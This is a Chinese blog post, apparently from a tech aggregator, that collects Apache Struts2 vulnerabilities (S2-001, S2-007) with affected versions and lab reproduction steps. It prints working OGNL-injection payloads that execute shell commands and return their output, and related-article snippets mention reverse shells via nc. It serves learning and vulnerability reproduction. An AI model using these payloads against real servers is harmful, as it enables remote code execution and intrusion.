Struts2 漏洞集合

这篇具有很好参考价值的文章主要介绍了Struts2 漏洞集合。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Struts2 漏洞集合

总结了一部分 Strtus2 漏洞,虽然现在这部分的漏洞很少了,但也是学习的一部分,收集的并不全面,后续会做补充。

漏洞环境搭建可以使用在线的 Vulfocus ,或者使用docker部署

S2-001 (CVE-2007-4556)

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

影响版本

Struts 2.0.0 – Struts 2.0.8

复现过程

在框中输入%{1+2},会把其中的 value 值进行计算

[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/ebe21ebab5334a3cae6db60ddb161df6~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp1.ssl.qhimg.com%2Ft01be810a161e23031e.jpg "https://p1.ssl.qhimg.com/t01be810a161e23031e.jpg"" style="margin: auto" />

执行之后,变成了3( OGNL 表达式%{value}执行成功)

[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/3a237be7827f44c9a803ea5c66ffbde0~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp1.ssl.qhimg.com%2Ft01757f60025f76545c.jpg "https://p1.ssl.qhimg.com/t01757f60025f76545c.jpg"" style="margin: auto" />

Poc

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]
{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new 
java.io.BufferedReader(#c),#e=new 
char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println
(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} 

[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/9923693899b2412f9989be713595ccdc~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fp4.ssl.qhimg.com%2Ft016aacff8e41d776ac.jpg "https://p4.ssl.qhimg.com/t016aacff8e41d776ac.jpg"" style="margin: auto" />

【一>所有资源获取<一】 1、电子书籍(白帽子) 2、安全大厂内部视频 3、100份src文档 4、常见安全面试题 5、ctf大赛经典题目解析 6、全套工具包 7、应急响应笔记 8、网络安全学习路线

S2-007

当 -validation.xml配置的验证规则。如果类型验证转换失败,则服务器将拼接用户提交的表单值字符串,然后执行OGNL表达式解析并返回,造成OGNL表达式注入。从而可能造成远程执行代码。

当用户 age 以str而不是的形式提交时 int,服务器将拼接 “‘“ + value + “‘“ 代码,然后使用OGNL表达式对其进行解析。为了成功完成任务,我们需要找到一个配置有相似验证规则的表单字段,以产生转换错误。然后,您可以通过注入SQL单引号的方式注入任何OGNL表达式代码

影响版本

2.0.0 – 2.2.3

Poc

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new 
java.lang.Boolean("false") 
,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,
@org.apache.commons.io.IOUtils@toString
(@java.lang.Runtime@getRuntime().exec('find /tmp/ -name flag*').getInputStream())) + ' 

[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/16dc06a10e544505add9281458cdb323~tplv-k3u1fbpfcp-zoo文章来源地址https://www.toymoban.com/news/detail-595802.html

到了这里,关于Struts2 漏洞集合的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Apache Struts2漏洞复现之s2-001漏洞复现

            仅供学习参考使用,请勿用作违法用途,否则后果自负。         Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java ServletAPI,鼓励开发者采用MVC架构。         缘起于Apache Struts的WebWork框架,旨在提供相对

    2024年02月16日
    浏览(23)
  • [漏洞复现]Apache Struts2/S2-015 (CVE-2013-2135)

    2.3.14.3 之前的 Apache Struts 2 允许远程攻击者通过一个包含“${}”和“%{}”序列的特制值的请求执行任意 OGNL 代码,这会导致 OGNL 代码被评估两次。 春秋云境.com 进入靶场 开始复现 构造好payload,弹nc 就构造好的payload,url编码 接入我们的ip后面,同时本地打开nc监听 把靶场关了,

    2024年01月25日
    浏览(30)
  • Apache Struts2 S2-045远程命令执行漏洞(CVE-2017-5638)复现

    Apache Struts2是Apache项目下的一个web 框架,帮助Java开发者利用J2EE来开发Web相关应用。 Apache Struts2的Jakarta Multipart parser插件存在远程代码执行漏洞,攻击者可以在使用该插件上传文件时,修改HTTP请求头中的Content-Type值来触发该漏洞,导致远程执行代码。 Struts 2.3.5 – Struts 2.3.3

    2024年02月15日
    浏览(30)
  • java web mvc-02-struts2

    Spring Web MVC-00-重学 mvc mvc-01-Model-View-Controller 概览 web mvc-03-JFinal web mvc-04-Apache Wicket web mvc-05-JSF JavaServer Faces web mvc-06-play framework intro web mvc-07-Vaadin web mvc-08-Grails Apache Struts是一个用于创建优雅、现代Java Web应用程序的免费、开源的MVC框架。 struts 我的示例基于maven和struts2文档。

    2024年01月24日
    浏览(40)
  • struts2 s2-062 OGNL远程代码执行

    struts2是一种重量级的框架,位于MVC架构中的controller,可以分析出来,它是用于接受页面信息然后通过内部处理,将结果返回。struts2也是一个web层的MVC框架。 Java中SSH框架 SSH为Struts+Spring+Hibernate的一个集成框架,是目前较流行的一种JAVA Web应用程序开源框架。 Java中SSM框架 SS

    2024年02月02日
    浏览(29)
  • struts2 s2-062 ONGL远程代码执行

    struts2是一种重量级的框架,位于MVC架构中的controller,可以分析出来,它是用于接受页面信息然后通过内部处理,将结果返回。struts2也是一个web层的MVC框架。 Java中SSH框架 SSH为Struts+Spring+Hibernate的一个集成框架,是目前较流行的一种JAVA Web应用程序开源框架。 Java中SSM框架 SS

    2024年02月02日
    浏览(29)
  • 【Java】极简的快速入门Struts2知识清单

    目录 简介 MVC示例 Model层 View层 Controller层 配置文件struts.xml 简单开发流程 Struts2 是一个用于开发 Java Web 应用程序的开源 Web 应用程序框架,它是 Struts 框架的升级版。Struts2 提供了更简单、更灵活的方式来构建 Web 应用程序,采用了拦截器(Interceptors)等技术来处理请求,并且

    2024年02月19日
    浏览(27)
  • 框架安全-CVE 复现&Spring&Struts&Laravel&ThinkPHP漏洞复现

    中间件及框架列表: IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等 1、开发框架-PHP-Laravel-Thinkphp 2、开发框架-Javaweb-St2-Spring 3、开发框架-Python-django-Flask 4、开发框架-Javascript-Nod

    2024年02月08日
    浏览(38)
  • Struts vs. Struts 2:Java Web 开发框架的升级之路与竞争力分析

    🌷🍁 博主猫头虎 带您 Go to New World.✨🍁 🦄 博客首页——猫头虎的博客🎐 🐳《面试题大全专栏》 文章图文并茂🦕生动形象🦖简单易学!欢迎大家来踩踩~🌺 🌊 《IDEA开发秘籍专栏》学会IDEA常用操作,工作效率翻倍~💐 🌊 《100天精通Golang(基础入门篇)》学会Golang语言

    2024年02月11日
    浏览(31)
  • JavaWeb开发框架对比与选择:Struts、Spring MVC、JavaEE

    引言:         在JavaWeb开发领域,选择合适的开发框架对于项目的成功与否至关重要。随着技术的不断发展,出现了许多优秀的开发框架,其中最为知名的包括Struts、Spring MVC和JavaEE。本文将对这三个框架进行对比,并给出选择的建议。 一、Struts框架         Struts是一

    2024年02月04日
    浏览(32)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包